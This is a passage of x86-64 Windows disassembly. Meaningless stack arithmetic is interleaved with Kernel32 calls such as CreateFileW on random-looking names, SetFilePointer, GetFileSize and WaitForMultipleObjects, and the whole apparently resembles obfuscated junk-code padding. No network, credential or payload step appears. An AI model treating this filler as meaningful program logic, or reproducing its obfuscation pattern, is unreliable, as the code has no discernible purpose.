call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4928], eax
mov rax, qword [rsp + 0xa580]
mov rcx, qword [rsp + 0xad08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4300], eax
mov rax, qword [rsp + 0x9e28]
movzx eax, byte [rax]
mov byte [0x14022b814], al
lea rcx, [rsp + 0xb840]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xb700]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e00]
and eax, ecx
mov word [rsp + 0xf38], ax
mov rax, qword [rsp + 0xad28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa2d8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa528]
mov word [rcx], ax
lea rax, [rsp + 0x1c80]
mov qword [rsp + 0xb848], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x402c
mov rcx, qword [rsp + 0xb000]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48d4], eax
mov rax, qword [rsp + 0xad68]
mov rcx, qword [0x14022bb18]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb398], rax
mov rax, qword [rsp + 0xa490]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x110]
or eax, ecx
mov byte [rsp + 0x371], al
mov rax, qword [rsp + 0xafb0]
mov qword [rsp + 0xb850], rax
lea rcx, [rsp + 0xab40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [0x14022b9f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa9e0]
mov qword [rsp + 0xb858], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb858]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4a1c], eax
movzx eax, word [rsp + 0x1448]
mov word [rsp + 0x1f54], ax
mov rax, qword [rsp + 0xae38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa000]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14022b898], ax
mov rax, qword [rsp + 0xb490]
mov rcx, qword [rsp + 0xa418]
mov qword [rsp + 0xb860], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb860]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7030], rax
movzx eax, word [rsp + 0xb08]
movzx ecx, word [rsp + 0x1d00]
add eax, ecx
mov word [rsp + 0x1f40], ax
movzx eax, byte [rsp + 0xef]
mov rcx, qword [rsp + 0x9d40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x87], al
mov rax, qword [rsp + 0xa2c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e9c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaeb0]
mov dword [rcx], eax
lea rdx, [rsp + 0x4644]
mov rcx, qword [rsp + 0xaa90]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a9c], eax
movzx eax, byte [rsp + 0x34c]
mov byte [rsp + 0x3a4], al
mov rax, qword [rsp + 0x8ff8]
mov rcx, qword [rsp + 0x8220]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7eb8], rax
mov rcx, qword [rsp + 0x9860]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xaa40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4a90]
shr eax, cl
mov dword [rsp + 0x4780], eax
movsx eax, word [rsp + 0x1518]
mov rcx, qword [rsp + 0xa918]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa1c], ax
movzx eax, word [0x14022bc68]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14022a088], ax
mov rax, qword [rsp + 0x9898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb530]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ca8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [0x140229f90]
mov qword [rsp + 0xb868], rax
movsx eax, word [rsp + 0x1ed4]
mov rcx, qword [rsp + 0xaf58]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1394], ax
movzx eax, word [rsp + 0x1d48]
mov rcx, qword [rsp + 0x9e08]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x12dc], ax
lea rdx, [rsp + 0x4928]
mov rcx, qword [rsp + 0xa790]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4aa0], eax
mov eax, dword [rsp + 0x4374]
mov rcx, qword [0x14022bbe0]
mov qword [rsp + 0xb870], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb870]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x48d8], eax
mov rax, qword [rsp + 0xab68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa490]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x34d], al
mov rax, qword [rsp + 0x8ef8]
mov qword [rsp + 0xb878], rax
mov rax, qword [rsp + 0xab00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa770]
mov qword [rsp + 0xb880], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb880]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8078], rax
movsx eax, word [rsp + 0x1ef0]
mov rcx, qword [rsp + 0xafd0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14022bc80]
mov word [rcx], ax
mov rax, qword [rsp + 0x9b78]
movzx eax, word [rax]
mov word [rsp + 0x1f58], ax
mov rax, qword [rsp + 0xb450]
mov rcx, qword [rsp + 0xa780]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb768]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
and eax, ecx
mov rcx, qword [rsp + 0xb540]
mov byte [rcx], al
mov rax, qword [rsp + 0xa828]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa0f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x70e0], rax
mov r9d, 0x1c37
xor r8d, r8d
lea rdx, [rsp + 0x9948]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x46bc], eax
movsx eax, byte [rsp + 0x39b]
mov rcx, qword [rsp + 0xb558]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x37c], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.qoA4kqHzVjEVXM4xAoHh
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb888], rax
lea rax, [rsp + 0x9398]
mov qword [rsp + 0xb890], rax
mov rax, qword [rsp + 0xa888]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4934], eax
mov rax, qword [rsp + 0xa8d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d84]
and eax, ecx
mov word [rsp + 0x12a8], ax
mov rax, qword [rsp + 0xa198]
movzx eax, word [rax]
movzx ecx, word [0x14022bad8]
or eax, ecx
mov word [0x14022badc], ax
mov rax, qword [rsp + 0x7b68]
mov qword [rsp + 0xb898], rax
lea rdx, [rsp + 0x49dc]
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4790], eax
mov rax, qword [rsp + 0xaf00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa018]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x178c], ax
lea rax, [rsp + 0xb4c]
mov qword [rsp + 0xb8a0], rax
mov rax, qword [rsp + 0x9788]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa9a8]
shl rax, cl
mov qword [rsp + 0xacf0], rax
mov rax, qword [rsp + 0xa648]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xaab8]
shr rax, cl
mov qword [rsp + 0x88e0], rax
movsx eax, byte [rsp + 0x8c]
movsx ecx, byte [rsp + 0x375]
add eax, ecx
mov byte [rsp + 0x33d], al
mov eax, dword [rsp + 0x4a98]
mov ecx, dword [rsp + 0x3a24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a90], eax
movzx eax, word [rsp + 0x177c]
mov word [rsp + 0x1f5c], ax
lea rax, [rsp + 0x8f08]
mov qword [0x14022bcd0], rax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x9808]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6e], al
mov r9d, 0x1a4e
xor r8d, r8d
lea rdx, [rsp + 0xb188]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4aa4], eax
mov eax, dword [rsp + 0x49b4]
mov dword [rsp + 0x4aa8], eax
mov rax, qword [rsp + 0xa050]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19f8]
add eax, ecx
mov rcx, qword [rsp + 0xb0d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xad80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9d10]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1f44], ax
lea rax, [rsp + 0x4a7c]
mov qword [rsp + 0xb8a8], rax
mov rax, qword [rsp + 0xa5f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae18]
mov qword [rsp + 0xb8b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb8b0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9f70], rax
movsx eax, byte [rsp + 0x25f]
mov rcx, qword [rsp + 0xb718]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe9], al
mov rax, qword [rsp + 0xaeb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb5f0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa970]
mov word [rcx], ax
lea rcx, [rsp + 0xa670]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xb800]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1350]
or eax, ecx
mov rcx, qword [0x14022b9d8]
mov word [rcx], ax
lea rdx, [rsp + 0x496c]
mov rcx, qword [rsp + 0xb630]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48b4], eax
mov rax, qword [rsp + 0xb810]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb628]
mov qword [rsp + 0xb8b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb8b8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9810], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb8c0], rax
mov rax, qword [0x14022a060]
mov qword [rsp + 0xb8c8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x7e4a
mov rcx, qword [rsp + 0xb428]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4a68], eax
mov rax, qword [rsp + 0x9c78]
mov rcx, qword [rsp + 0xa418]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xae60]
mov qword [rcx], rax
lea rax, [rsp + 0x12a8]
mov qword [rsp + 0xb8d0], rax
mov rax, qword [rsp + 0xa788]
mov rcx, qword [0x14022b818]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb458]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x37b]
mov rcx, qword [rsp + 0xb2f8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x39d], al
mov r9d, 0x1e76
xor r8d, r8d
lea rdx, [rsp + 0xafd8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48d4], eax
lea rax, [rsp + 0x491c]
mov qword [rsp + 0xb8d8], rax
mov eax, dword [rsp + 0x460c]
mov ecx, dword [rsp + 0x4a64]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9998]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.9v1XxMMY2bS68CV
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb8e0], rax
mov rax, qword [rsp + 0x9a48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x98f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x115], al
movzx eax, word [rsp + 0x1ddc]
mov word [0x14022bcd8], ax
mov rax, qword [rsp + 0xa0c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae38]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb100]
mov word [rcx], ax
lea rcx, [rsp + 0xab40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x171
mov rcx, qword [rsp + 0xaaf0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47a0], eax
movzx eax, word [rsp + 0x1e40]
mov word [rsp + 0x1f60], ax
mov rax, qword [rsp + 0xb658]
mov rcx, qword [rsp + 0xaf90]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb740]
mov qword [rcx], rax
lea rdx, [rsp + 0x4940]
mov rcx, qword [rsp + 0xb4c8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4aac], eax
mov rax, qword [0x14022b890]
mov ecx, dword [rsp + 0x437c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x48dc], eax
lea rax, [rsp + 0x9a00]
mov qword [rsp + 0xb8e8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xcf8f
mov rcx, qword [rsp + 0xaae0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x490c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 1
xor r8d, r8d
mov edx, 0x6737
mov rcx, qword [rsp + 0xaae8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4aac], eax
lea rcx, [rsp + 0xadf0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa730]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9b20]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xac], al
lea rax, [0x14022b98c]
mov qword [rsp + 0xb8f0], rax
movzx eax, word [rsp + 0xdb8]
mov rcx, qword [rsp + 0xae38]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xabd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9cf0]
mov rcx, qword [rsp + 0x8d50]
or rcx, rax
mov rax, rcx
mov rcx, qword [0x14022bcb8]
mov qword [rcx], rax
mov rax, qword [0x14022b860]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e1c]
xor eax, ecx
mov word [rsp + 0x176c], ax
mov rax, qword [rsp + 0xa9d0]
mov qword [rsp + 0xb8f8], rax
mov rax, qword [rsp + 0xb868]
movzx ecx, al
mov rax, qword [rsp + 0x9cd8]
shl rax, cl
mov qword [rsp + 0xa228], rax
mov rax, qword [rsp + 0xb4b8]
mov rcx, qword [rsp + 0xa220]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3bdc], eax
movsx eax, byte [rsp + 0x366]
mov rcx, qword [rsp + 0xb2f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb180]
mov byte [rcx], al
mov rax, qword [rsp + 0xa630]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x96a0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x34b], al
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov dword [rsp + 0x4ab0], eax
mov rax, qword [rsp + 0xa648]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xada8]
mov qword [rsp + 0xb900], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb900]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xae68], rax
lea rax, [0x140229f68]
mov qword [0x14022bce0], rax
mov rax, qword [rsp + 0xb5d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ee4]
add eax, ecx
mov word [rsp + 0xb58], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x34ae
mov rcx, qword [rsp + 0xa658]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4ab4], eax
movzx eax, word [rsp + 0xe78]
mov rcx, qword [rsp + 0xb6c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1db4], ax
movzx eax, word [0x140229fd8]
mov word [rsp + 0x1f64], ax
mov eax, dword [rsp + 0x4860]
mov ecx, dword [rsp + 0x3f48]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x477c], eax
mov rax, qword [rsp + 0xa5f8]
mov rcx, qword [rsp + 0xb508]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa58], rax
lea rax, [rsp + 0xa4]
mov qword [rsp + 0xb908], rax
lea rdx, [rsp + 0x48c8]
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4684], eax
mov rax, qword [rsp + 0x9ee0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa738]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d14], ax
lea rax, [rsp + 0xa64]
mov qword [rsp + 0xb910], rax
mov rax, qword [0x140229fe0]
mov rcx, qword [rsp + 0xb098]
mov qword [rsp + 0xb918], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb918]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [0x14022b880]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cd0]
mov rcx, qword [rsp + 0xa9e8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb198], rax
mov rax, qword [0x14022bcd0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7c50]
shl rax, cl
mov rcx, qword [rsp + 0xad50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa620]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c08]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8820], rax
movzx eax, word [rsp + 0x1c80]
mov rcx, qword [rsp + 0xb3d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdb8], ax
mov rax, qword [rsp + 0xb480]
mov eax, dword [rax]
mov dword [rsp + 0x4ab8], eax
mov rax, qword [rsp + 0x9fe8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x99]
sub eax, ecx
mov byte [rsp + 0x354], al
mov rax, qword [rsp + 0x9c08]
mov rcx, qword [rsp + 0xb890]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9b58], rax
mov rax, qword [rsp + 0xb2f8]
movzx eax, byte [rax]
mov byte [rsp + 0x3a5], al
mov eax, dword [rsp + 0x41b0]
mov rcx, qword [rsp + 0xaa40]
mov qword [rsp + 0xb920], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb920]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14022a08c], eax
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [rsp + 0x1ee0]
and eax, ecx
mov rcx, qword [rsp + 0xb018]
mov word [rcx], ax
mov rax, qword [0x14022b9c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xacd0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbd0], ax
mov rax, qword [rsp + 0xb2b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9b78]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb548]
mov word [rcx], ax
mov rax, qword [0x14022b980]
mov rcx, qword [rsp + 0x82d0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x85f8], rax
lea rax, [rsp + 0x4a3c]
mov qword [rsp + 0xb928], rax
mov rax, qword [rsp + 0xb878]
mov rcx, qword [rsp + 0x7420]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9758]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa598]
movzx eax, byte [rax]
mov byte [rsp + 0x3a6], al
movsx eax, word [rsp + 0x1dc4]
mov rcx, qword [rsp + 0xb700]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaa80]
mov word [rcx], ax
mov rax, qword [rsp + 0xb368]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1df0]
shl eax, cl
mov word [0x14022bc44], ax
mov rax, qword [rsp + 0x9c58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb8f8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7288], rax
mov r9d, 0x977
xor r8d, r8d
lea rdx, [rsp + 0xae80]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4abc], eax
mov rax, qword [rsp + 0xb800]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1468]
xor eax, ecx
mov word [rsp + 0x1598], ax
movzx eax, byte [rsp + 0x365]
mov rcx, qword [rsp + 0x9f08]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3a2], al
mov rax, qword [rsp + 0xa7d8]
mov eax, dword [rax]
mov dword [rsp + 0x4ac0], eax
mov rax, qword [rsp + 0xb620]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9d70]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb6d0]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
lea rax, [rsp + 0x80d8]
mov qword [rsp + 0xb930], rax
mov rax, qword [rsp + 0xa888]
mov rcx, qword [rsp + 0xac38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49bc], eax
movsx eax, word [rsp + 0x19f8]
movsx ecx, word [rsp + 0x10c0]
sub eax, ecx
mov word [rsp + 0x16b4], ax
mov rax, qword [rsp + 0xaf38]
movzx eax, word [rax]
mov word [0x14022bce8], ax
mov rax, qword [rsp + 0xa3b0]
mov rax, qword [rax]
mov qword [rsp + 0xb938], rax
mov rax, qword [rsp + 0xa860]
mov rcx, qword [rsp + 0xb658]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa1e0], rax
lea rax, [rsp + 0x17fc]
mov qword [rsp + 0xb940], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x5f20
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4914], eax
mov rax, qword [0x14022bc18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9e08]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d58]
mov rcx, qword [rsp + 0xa1e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb7d0], rax
movsx eax, byte [rsp + 0x39d]
movsx ecx, byte [rsp + 0x228]
sub eax, ecx
mov byte [rsp + 0x72], al
lea rdx, [rsp + 0x4848]
mov rcx, qword [rsp + 0xb828]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4ac4], eax
mov rax, qword [rsp + 0x9d60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x40ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4278], eax
mov rax, qword [rsp + 0xad68]
mov rax, qword [rax]
mov qword [rsp + 0xb948], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xabc5
mov rcx, qword [rsp + 0xb0e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4714], eax
mov rax, qword [rsp + 0x9ee0]
movzx eax, word [rax]
mov word [0x14022bcec], ax
movzx eax, word [rsp + 0x178c]
movzx ecx, word [rsp + 0x1cb0]
xor eax, ecx
mov word [rsp + 0x884], ax
mov rax, qword [rsp + 0xb348]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb218]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x76], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x483c]
mov qword [rsp + 0xb950], rax
mov rax, qword [rsp + 0xa7f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb008]
shl rax, cl
mov qword [rsp + 0x8078], rax
mov eax, dword [rsp + 0x4a58]
movzx ecx, al
mov eax, dword [rsp + 0x4a7c]
shr eax, cl
mov dword [rsp + 0x3b10], eax
movsx eax, byte [0x140229f1e]
movsx ecx, byte [rsp + 0x5c]
sub eax, ecx
mov rcx, qword [rsp + 0x9750]
mov byte [rcx], al
mov rax, qword [rsp + 0xa898]
mov rax, qword [rax]
mov qword [rsp + 0xb958], rax
lea rcx, [rsp + 0xa058]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov r9d, 1
xor r8d, r8d
mov edx, 0xe934
mov rcx, qword [rsp + 0xa8a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47a8], eax
movsx eax, word [rsp + 0x1ee0]
mov rcx, qword [rsp + 0xadc0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ec8], ax
lea rdx, [rsp + 0x4870]
mov rcx, qword [rsp + 0xb3a0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4ac8], eax
movzx eax, word [rsp + 0x1994]
movzx ecx, word [rsp + 0x1e1c]
and eax, ecx
mov word [0x140229f98], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe834
mov rcx, qword [rsp + 0xaf20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46a4], eax
mov rax, qword [rsp + 0xb300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb318]
mov qword [rcx], rax
movzx eax, word [rsp + 0x177c]
mov word [rsp + 0x1f68], ax
mov rax, qword [rsp + 0x9cb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa050]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb5d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6f28]
mov rcx, qword [rsp + 0xa7d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9120], rax
mov eax, dword [rsp + 0x474c]
mov ecx, dword [rsp + 0x4774]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4374], eax
lea rcx, [rsp + 0xadf0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa920]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xac58]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9c98]
mov byte [rcx], al
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov qword [rsp + 0xb960], rax
mov rax, qword [0x14022ba08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b10]
or eax, ecx
mov word [rsp + 0x1e9c], ax
mov rax, qword [rsp + 0xb318]
mov rcx, qword [rsp + 0x9eb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x14022a090], rax
mov rax, qword [rsp + 0xb218]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c68]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x20a], al
mov eax, dword [rsp + 0x49d0]
mov rcx, qword [rsp + 0xa258]
mov qword [rsp + 0xb968], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb968]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3a8c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.nGumb7XYrR
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb970], rax
mov rax, qword [rsp + 0xb130]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1400]
sub eax, ecx
mov word [rsp + 0x1bbc], ax
movzx eax, word [0x140229f9c]
mov word [rsp + 0x1f6c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0x97b8]
mov ecx, dword [rsp + 0x4994]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb2c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae50]
mov rax, qword [rax]
mov qword [rsp + 0xb978], rax
movsx eax, byte [rsp + 0x38f]
